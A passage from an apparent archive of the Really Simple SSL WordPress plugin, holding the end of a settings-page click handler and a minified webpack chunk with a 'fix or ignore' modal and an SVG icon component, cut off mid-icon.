			render( <Page/>, container );
		}
	}
});

/*
* Some oldschool stuff
*/

document.addEventListener('click', e => {
    if ( e.target.closest('#ssl-labs-check-button') ) {
		document.querySelector('.rsssl-ssllabs').classList.add('rsssl-block-highlight');
		setTimeout(function(){
			document.querySelector('.rsssl-ssllabs').classList.remove('rsssl-block-highlight');
		}, 6000);
    }
});

really-simple-ssl/settings/build/439.bfb64c5def4e403805bc.js000064400000077257147510273070017021 0ustar00"use strict";(self.webpackChunkreally_simple_ssl=self.webpackChunkreally_simple_ssl||[]).push([[439],{1439:(e,l,t)=>{t.r(l),t.d(l,{default:()=>o});var c=t(1609),a=t(7723),s=t(4110),r=t(4937),n=t(5319),i=t(6087);const o=e=>{const{handleModal:l,modalData:t,setModalData:o,showModal:m,setIgnoredItemId:h,setFixedItemId:d,item:g}=(0,n.A)(),[w,C]=(0,i.useState)(!1),v=()=>{l(!1,null,null)},f=(e,c)=>{let a=t.action;C(!0),s.YA(a,"refresh",t).then((e=>{let a={...t};a.description=e.msg,a.subtitle="",o(a),C(!1),e.success&&("ignore"===c&&!1!==g?h(g.id):d(g.id),l(!1,null))}))};if(!m)return(0,c.createElement)(c.Fragment,null);let p=w?"disabled":"",u=t.description;return Array.isArray(u)||(u=[u]),(0,c.createElement)("div",null,(0,c.createElement)("div",{className:"rsssl-modal-backdrop",onClick:e=>v()}," "),(0,c.createElement)("div",{className:"rsssl-modal",id:"{id}"},(0,c.createElement)("div",{className:"rsssl-modal-header"},(0,c.createElement)("h2",{className:"modal-title"},t.title),(0,c.createElement)("button",{type:"button",className:"rsssl-modal-close","data-dismiss":"modal","aria-label":"Close",onClick:e=>v()},(0,c.createElement)(r.default,{name:"times"}))),(0,c.createElement)("div",{className:"rsssl-modal-content"},t.subtitle&&(0,c.createElement)("div",{className:"rsssl-modal-subtitle"},t.subtitle),Array.isArray(u)&&u.map(((e,l)=>(0,c.createElement)("div",{key:"modalDescription-"+l,className:"rsssl-modal-description"},e)))),(0,c.createElement)("div",{className:"rsssl-modal-footer"},t.edit&&(0,c.createElement)("a",{href:t.edit,target:"_blank",rel:"noopener noreferrer",className:"button button-secondary"},(0,a.__)("Edit","really-simple-ssl")),t.help&&(0,c.createElement)("a",{href:t.help,target:"_blank",rel:"noopener noreferrer",className:"button rsssl-button-help"},(0,a.__)("Help","really-simple-ssl")),!t.ignored&&"ignore_url"===t.action&&(0,c.createElement)("button",{disabled:p,className:"button button-primary",onClick:e=>f(0,"ignore")},(0,a.__)("Ignore","really-simple-ssl")),"ignore_url"!==t.action&&(0,c.createElement)("button",{disabled:p,className:"button button-primary",onClick:e=>f(0,"fix")},(0,a.__)("Fix","really-simple-ssl")))))}},4937:(e,l,t)=>{t.r(l),t.d(l,{default:()=>r});var c=t(1609),a=t(9519);const s=React.forwardRef((function(e,l){const{name:t,color:a,size:s}=e,r=t||"bullet",n=a||"black",i=s||15,o={black:"var(--rsp-black)",green:"var(--rsp-green)",yellow:"var(--rsp-yellow)",orange:"var(--rsp-yellow)","red-faded":"var(--rsp-red-faded)",red:"var(--rsp-red)",grey:"var(--rsp-grey-400)","red-warning":"var(--rsp-red-faded)"};let m="";return"bullet"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256z"}))),"circle"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256zM256 48C141.1 48 48 141.1 48 256C48 370.9 141.1 464 256 464C370.9 464 464 370.9 464 256C464 141.1 370.9 48 256 48z"}))),"check"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256zM256 48C141.1 48 48 141.1 48 256C48 370.9 141.1 464 256 464C370.9 464 464 370.9 464 256C464 141.1 370.9 48 256 48z"}))),"warning"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M506.3 417l-213.3-364c-16.33-28-57.54-28-73.98 0l-213.2 364C-10.59 444.9 9.849 480 42.74 480h426.6C502.1 480 522.6 445 506.3 417zM232 168c0-13.25 10.75-24 24-24S280 154.8 280 168v128c0 13.25-10.75 24-23.1 24S232 309.3 232 296V168zM256 416c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 401.9 273.4 416 256 416z"}))),"error"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM232 152C232 138.8 242.8 128 256 128s24 10.75 24 24v128c0 13.25-10.75 24-24 24S232 293.3 232 280V152zM256 400c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 385.9 273.4 400 256 400z"}))),"times"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M310.6 361.4c12.5 12.5 12.5 32.75 0 45.25C304.4 412.9 296.2 416 288 416s-16.38-3.125-22.62-9.375L160 301.3L54.63 406.6C48.38 412.9 40.19 416 32 416S15.63 412.9 9.375 406.6c-12.5-12.5-12.5-32.75 0-45.25l105.4-105.4L9.375 150.6c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L160 210.8l105.4-105.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-105.4 105.4L310.6 361.4z"}))),"circle-check"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256zM371.8 211.8C382.7 200.9 382.7 183.1 371.8 172.2C360.9 161.3 343.1 161.3 332.2 172.2L224 280.4L179.8 236.2C168.9 225.3 151.1 225.3 140.2 236.2C129.3 247.1 129.3 264.9 140.2 275.8L204.2 339.8C215.1 350.7 232.9 350.7 243.8 339.8L371.8 211.8z"}))),"circle-times"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256zM175 208.1L222.1 255.1L175 303C165.7 312.4 165.7 327.6 175 336.1C184.4 346.3 199.6 346.3 208.1 336.1L255.1 289.9L303 336.1C312.4 346.3 327.6 346.3 336.1 336.1C346.3 327.6 346.3 312.4 336.1 303L289.9 255.1L336.1 208.1C346.3 199.6 346.3 184.4 336.1 175C327.6 165.7 312.4 165.7 303 175L255.1 222.1L208.1 175C199.6 165.7 184.4 165.7 175 175C165.7 184.4 165.7 199.6 175 208.1V208.1z"}))),"chevron-up"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M416 352c-8.188 0-16.38-3.125-22.62-9.375L224 173.3l-169.4 169.4c-12.5 12.5-32.75 12.5-45.25 0s-12.5-32.75 0-45.25l192-192c12.5-12.5 32.75-12.5 45.25 0l192 192c12.5 12.5 12.5 32.75 0 45.25C432.4 348.9 424.2 352 416 352z"}))),"chevron-down"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M224 416c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L224 338.8l169.4-169.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-192 192C240.4 412.9 232.2 416 224 416z"}))),"chevron-right"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M96 480c-8.188 0-16.38-3.125-22.62-9.375c-12.5-12.5-12.5-32.75 0-45.25L242.8 256L73.38 86.63c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0l192 192c12.5 12.5 12.5 32.75 0 45.25l-192 192C112.4 476.9 104.2 480 96 480z"}))),"chevron-left"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M224 480c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25l192-192c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25L77.25 256l169.4 169.4c12.5 12.5 12.5 32.75 0 45.25C240.4 476.9 232.2 480 224 480z"}))),"plus"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M432 256c0 17.69-14.33 32.01-32 32.01H256v144c0 17.69-14.33 31.99-32 31.99s-32-14.3-32-31.99v-144H48c-17.67 0-32-14.32-32-32.01s14.33-31.99 32-31.99H192v-144c0-17.69 14.33-32.01 32-32.01s32 14.32 32 32.01v144h144C417.7 224 432 238.3 432 256z"}))),"minus"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M400 288h-352c-17.69 0-32-14.32-32-32.01s14.31-31.99 32-31.99h352c17.69 0 32 14.3 32 31.99S417.7 288 400 288z"}))),"sync"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M483.515 28.485L431.35 80.65C386.475 35.767 324.485 8 256 8 123.228 8 14.824 112.338 8.31 243.493 7.971 250.311 13.475 256 20.301 256h28.045c6.353 0 11.613-4.952 11.973-11.294C66.161 141.649 151.453 60 256 60c54.163 0 103.157 21.923 138.614 57.386l-54.128 54.129c-7.56 7.56-2.206 20.485 8.485 20.485H492c6.627 0 12-5.373 12-12V36.971c0-10.691-12.926-16.045-20.485-8.486zM491.699 256h-28.045c-6.353 0-11.613 4.952-11.973 11.294C445.839 370.351 360.547 452 256 452c-54.163 0-103.157-21.923-138.614-57.386l54.128-54.129c7.56-7.56 2.206-20.485-8.485-20.485H20c-6.627 0-12 5.373-12 12v143.029c0 10.691 12.926 16.045 20.485 8.485L80.65 431.35C125.525 476.233 187.516 504 256 504c132.773 0 241.176-104.338 247.69-235.493.339-6.818-5.165-12.507-11.991-12.507z"}))),"sync-error"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M256 79.1C178.5 79.1 112.7 130.1 89.2 199.7C84.96 212.2 71.34 218.1 58.79 214.7C46.23 210.5 39.48 196.9 43.72 184.3C73.6 95.8 157.3 32 256 32C337.5 32 408.8 75.53 448 140.6V104C448 90.75 458.7 80 472 80C485.3 80 496 90.75 496 104V200C496 213.3 485.3 224 472 224H376C362.7 224 352 213.3 352 200C352 186.7 362.7 176 376 176H412.8C383.7 118.1 324.4 80 256 80V79.1zM280 263.1C280 277.3 269.3 287.1 256 287.1C242.7 287.1 232 277.3 232 263.1V151.1C232 138.7 242.7 127.1 256 127.1C269.3 127.1 280 138.7 280 151.1V263.1zM224 352C224 334.3 238.3 319.1 256 319.1C273.7 319.1 288 334.3 288 352C288 369.7 273.7 384 256 384C238.3 384 224 369.7 224 352zM40 432C26.75 432 16 421.3 16 408V311.1C16 298.7 26.75 287.1 40 287.1H136C149.3 287.1 160 298.7 160 311.1C160 325.3 149.3 336 136 336H99.19C128.3 393 187.6 432 256 432C333.5 432 399.3 381.9 422.8 312.3C427 299.8 440.7 293 453.2 297.3C465.8 301.5 472.5 315.1 468.3 327.7C438.4 416.2 354.7 480 256 480C174.5 480 103.2 436.5 64 371.4V408C64 421.3 53.25 432 40 432V432z"}))),"shortcode"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M128 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h96C145.7 480 160 465.7 160 448S145.7 416 128 416H64V96h64C145.7 96 160 81.67 160 64S145.7 32 128 32zM416 32h-96C302.3 32 288 46.33 288 63.1S302.3 96 319.1 96H384v320h-64C302.3 416 288 430.3 288 447.1S302.3 480 319.1 480H416c17.6 0 32-14.4 32-32V64C448 46.4 433.6 32 416 32z"}))),"file"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 384 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M0 64C0 28.65 28.65 0 64 0H229.5C246.5 0 262.7 6.743 274.7 18.75L365.3 109.3C377.3 121.3 384 137.5 384 154.5V448C384 483.3 355.3 512 320 512H64C28.65 512 0 483.3 0 448V64zM336 448V160H256C238.3 160 224 145.7 224 128V48H64C55.16 48 48 55.16 48 64V448C48 456.8 55.16 464 64 464H320C328.8 464 336 456.8 336 448z"}))),"file-disabled"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 640 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M639.1 487.1c0-7.119-3.153-14.16-9.191-18.89l-118.8-93.12l.0013-237.3c0-16.97-6.742-33.26-18.74-45.26l-74.63-74.64C406.6 6.742 390.3 0 373.4 0H192C156.7 0 128 28.65 128 64L128 75.01L38.82 5.11C34.41 1.672 29.19 0 24.04 0C10.19 0-.0002 11.3-.0002 23.1c0 7.12 3.153 14.16 9.192 18.89l591.1 463.1C605.6 510.3 610.8 512 615.1 512C629.8 512 639.1 500.6 639.1 487.1zM464 338.4l-287.1-225.7l-.002-48.51c0-8.836 7.164-16 15.1-16h160l-.0065 79.87c0 17.67 14.33 31.1 31.1 31.1L464 159.1V338.4zM448 463.1H192c-8.834 0-15.1-7.164-15.1-16L176 234.6L128 197L128 447.1c0 35.34 28.65 64 63.1 64H448c20.4 0 38.45-9.851 50.19-24.84l-37.72-29.56C457.5 461.4 453.2 463.1 448 463.1z"}))),"loading"===r&&(m=(0,c.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[a],d:"M304 48c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zm0 416c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zM48 304c26.5 0 48-21.5 48-48s-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48zm464-48c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zM142.9 437c18.7-18.7 18.7-49.1 0-67.9s-49.1-18.7-67.9 0s-18.7 49.1 0 67.9s49.1 18.7 67.9 0zm0-294.2c18.7-18.7 18.7-49.1 0-67.9S93.7 56.2 75 75s-18.7 49.1 0 67.9s49.1 18.7 67.9 0zM369.1 437c18.7 18.7 49.1 18.7 67.9 0s18.7-49.1 0-67.9s-49.1-18.7-67.9 0s-18.7 49.1 0 67.9z"}))),"file-download"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 384 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M216 342.1V240c0-13.25-10.75-24-24-24S168 226.8 168 240v102.1L128.1 303C124.3 298.3 118.2 296 112 296S99.72 298.3 95.03 303c-9.375 9.375-9.375 24.56 0 33.94l80 80c9.375 9.375 24.56 9.375 33.94 0l80-80c9.375-9.375 9.375-24.56 0-33.94s-24.56-9.375-33.94 0L216 342.1zM365.3 93.38l-74.63-74.64C278.6 6.742 262.3 0 245.4 0H64C28.65 0 0 28.65 0 64l.0065 384c0 35.34 28.65 64 64 64H320c35.2 0 64-28.8 64-64V138.6C384 121.7 377.3 105.4 365.3 93.38zM336 448c0 8.836-7.164 16-16 16H64.02c-8.838 0-16-7.164-16-16L48 64.13c0-8.836 7.164-16 16-16h160L224 128c0 17.67 14.33 32 32 32h79.1V448z"}))),"calendar"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M152 64H296V24C296 10.75 306.7 0 320 0C333.3 0 344 10.75 344 24V64H384C419.3 64 448 92.65 448 128V448C448 483.3 419.3 512 384 512H64C28.65 512 0 483.3 0 448V128C0 92.65 28.65 64 64 64H104V24C104 10.75 114.7 0 128 0C141.3 0 152 10.75 152 24V64zM48 448C48 456.8 55.16 464 64 464H384C392.8 464 400 456.8 400 448V192H48V448z"}))),"calendar-error"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 576 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M151.1 64H296V24C296 10.75 306.7 0 320 0C333.3 0 344 10.75 344 24V64H384C419.3 64 448 92.65 448 128V192H47.1V448C47.1 456.8 55.16 464 63.1 464H284.5C296.7 482.8 312.5 499.1 330.8 512H64C28.65 512 0 483.3 0 448V128C0 92.65 28.65 64 64 64H104V24C104 10.75 114.7 0 128 0C141.3 0 152 10.75 152 24L151.1 64zM576 368C576 447.5 511.5 512 432 512C352.5 512 287.1 447.5 287.1 368C287.1 288.5 352.5 224 432 224C511.5 224 576 288.5 576 368zM432 416C418.7 416 408 426.7 408 440C408 453.3 418.7 464 432 464C445.3 464 456 453.3 456 440C456 426.7 445.3 416 432 416zM447.1 288C447.1 279.2 440.8 272 431.1 272C423.2 272 415.1 279.2 415.1 288V368C415.1 376.8 423.2 384 431.1 384C440.8 384 447.1 376.8 447.1 368V288z"}))),"help"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 400c-18 0-32-14-32-32s13.1-32 32-32c17.1 0 32 14 32 32S273.1 400 256 400zM325.1 258L280 286V288c0 13-11 24-24 24S232 301 232 288V272c0-8 4-16 12-21l57-34C308 213 312 206 312 198C312 186 301.1 176 289.1 176h-51.1C225.1 176 216 186 216 198c0 13-11 24-24 24s-24-11-24-24C168 159 199 128 237.1 128h51.1C329 128 360 159 360 198C360 222 347 245 325.1 258z"}))),"copy"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M502.6 70.63l-61.25-61.25C435.4 3.371 427.2 0 418.7 0H255.1c-35.35 0-64 28.66-64 64l.0195 256C192 355.4 220.7 384 256 384h192c35.2 0 64-28.8 64-64V93.25C512 84.77 508.6 76.63 502.6 70.63zM464 320c0 8.836-7.164 16-16 16H255.1c-8.838 0-16-7.164-16-16L239.1 64.13c0-8.836 7.164-16 16-16h128L384 96c0 17.67 14.33 32 32 32h47.1V320zM272 448c0 8.836-7.164 16-16 16H63.1c-8.838 0-16-7.164-16-16L47.98 192.1c0-8.836 7.164-16 16-16H160V128H63.99c-35.35 0-64 28.65-64 64l.0098 256C.002 483.3 28.66 512 64 512h192c35.2 0 64-28.8 64-64v-32h-47.1L272 448z"}))),"info"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M256 512c141.4 0 256-114.6 256-256S397.4 0 256 0S0 114.6 0 256S114.6 512 256 512zM216 336h24V272H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h48c13.3 0 24 10.7 24 24v88h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-144c-17.7 0-32-14.3-32-32s14.3-32 32-32s32 14.3 32 32s-14.3 32-32 32z"}))),"info-open"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 464c-114.7 0-208-93.31-208-208S141.3 48 256 48s208 93.31 208 208S370.7 464 256 464zM256 304c13.25 0 24-10.75 24-24v-128C280 138.8 269.3 128 256 128S232 138.8 232 152v128C232 293.3 242.8 304 256 304zM256 337.1c-17.36 0-31.44 14.08-31.44 31.44C224.6 385.9 238.6 400 256 400s31.44-14.08 31.44-31.44C287.4 351.2 273.4 337.1 256 337.1z"}))),"list"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M184.1 38.2c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L39 113c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zm0 160c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L39 273c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zM256 96c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H288c-17.7 0-32-14.3-32-32zm0 160c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H288c-17.7 0-32-14.3-32-32zM192 416c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32zM80 464c-26.5 0-48-21.5-48-48s21.5-48 48-48s48 21.5 48 48s-21.5 48-48 48z"}))),"empty"===r&&(m=(0,c.createElement)("svg",{height:i,width:i,"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 280.8 363.67"})),"external-link"===r&&(m=(0,c.createElement)("svg",{"aria-hidden":"true",focusable:"false",role:"img",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,c.createElement)("path",{fill:o[n],d:"M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zM160 144c-13.3 0-24 10.7-24 24s10.7 24 24 24h94.1L119 327c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l135-135V328c0 13.3 10.7 24 24 24s24-10.7 24-24V168c0-13.3-10.7-24-24-24H160z"}))),"shield"===r&&(m=(0,c.createElement)("svg",{height:i,"aria-hidden":"true",focusable:"false",role:"img",id:"uuid-026a4e87-44db-4336-a398-3c29d25b7317",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 280.8 363.67"},(0,c.createElement)("path",{fill:"#f9c23e",d:"M280.8,62.4L140.5,0,0,62.2V213.3c0,10.7,1.6,21.3,4.9,31.5,9.5,29.9,28.2,52.8,54.4,69.5,26,16.6,52.4,32.4,78.6,48.6,2,1.2,3.4,.9,5.1-.2,19.9-12.3,39.8-24.5,59.6-36.8,12.6-7.8,25.5-15.1,36.5-25.1,26.4-24.2,41.4-53.6,41.5-89.9V62.4h.2Z"}),(0,c.createElement)("g",null,(0,c.createElement)("g",null,(0,c.createElement)("rect",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",x:"155",y:"266.8",width:"77.6",height:"6"}),(0,c.createElement)("path",{fill:"#1d2327",d:"M224.4,204.5h-1.8v-10.1c0-15.9-12.9-28.8-28.8-28.8s-28.8,12.9-28.8,28.8v10.1h-1.8c-4.6,0-8.3,3.7-8.3,8.3v51.3h77.6v-51.3c0-4.6-3.7-8.3-8.3-8.3h.2Zm-45.3-10.1c0-8.1,6.6-14.7,14.7-14.7s14.7,6.6,14.7,14.7v10.1h-29.5v-10.1h.1Zm36.6,32.9l-20.7,20.2c-.2,.2-.3,.4-.5,.6l-2,2c-.2,.2-.4,.4-.6,.5l-3.8,3.8-4.5-4.3-2-2c-.2-.2-.4-.4-.5-.6l-9.1-9.1c-2.4-2.4-2.4-6.4,0-8.8l2-2c2.4-2.4,6.4-2.4,8.8,0l5.3,5.3,16.9-16.4c2.4-2.4,6.4-2.4,8.8,0l2,2c2.4,2.4,2.4,6.4,0,8.8h-.1Z"})),(0,c.createElement)("g",null,(0,c.createElement)("path",{fill:"#1d2327",d:"M125.2,192.3c-.5-2.9-.5-5.8-1-8.6-.5-2.4-2.6-4-4.8-3.9-2.3,0-4.2,1.9-4.7,4.3-.2,1,0,1.9,0,2.9,.8,14.6,7.2,26.3,18.2,35.7,2.2,1.9,4.5,3.5,6.9,4.8v-11.8c-7.4-5.8-12.9-14.1-14.6-23.3v-.1Z"}),(0,c.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M96.4,236.1c-13-15-20-32.3-19.5-52.3,.3-13.1,6.1-23.6,16.6-31.2,11.5-8.5,24.5-10.9,38.3-7.1,12.7,3.5,22,10.7,27.4,22,2.1-2.7,4.5-5.2,7.2-7.4-4-7-9.7-12.9-17-17.4-17-10.4-34.9-11.7-52.9-3.1-19,9.1-28.7,24.7-29.3,45.8,0,5.2,.5,10.2,1.4,15.2,3.4,19.4,13.4,35.2,27.2,48.9,1.1,1.1,2.5,1.6,4.1,1.4,1.8-.2,3.2-1.3,3.8-3,.6-1.8,.4-3.6-1-5.1-2.1-2.2-4.2-4.4-6.2-6.7h-.1Z"}),(0,c.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M68.1,89.4c1.1-.4,2.1-1,3.1-1.5,17.9-9.1,36.8-12.7,56.8-11.3,12.2,.8,23.9,3.8,35.1,8.7,3,1.3,5.9,2.8,8.9,4.1,2.7,1.1,5.3,0,6.4-2.4,1.1-2.3,0-5-2.3-6.3-11-5.7-22.4-10-34.6-12.3-4.2-.8-8.5-1.1-12.8-1.7h-17.1c-.3,0-.6,.2-.9,.2-11.2,.8-22,3.2-32.5,7.2-4.9,1.9-9.7,4.1-14.3,6.6-2.5,1.3-3.4,4.2-2.2,6.5,1.1,2.2,4,3.2,6.4,2.1v.1Z"}),(0,c.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M61.1,153.5c13.6-21.6,33.6-31.5,58.7-32.1h6c.8,0,1.6,.2,2.3,.3,13.4,1.7,25.5,6.6,35.9,15.4,5.8,4.9,10.5,10.3,14.1,16.2,3.1-1.2,6.4-2,9.8-2.5-4.7-8.7-11.3-16.3-19.6-22.7-19-14.6-40.5-19.5-64.1-15.1-14.3,2.7-26.9,9-37.7,18.8-10.4,9.5-17.8,20.9-21.2,34.6-2.8,11.3-2.6,22.7-.9,34.1,1.1,7,2.9,13.9,5.4,20.5,.9,2.3,3,3.7,5.2,3.5,2.1-.2,3.9-2,4.3-4.3,.2-1.1-.2-2.2-.6-3.2-4.3-11.9-6.3-24.1-5.6-36.7,.5-9.6,2.8-18.7,8-26.8h0Z"}),(0,c.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9b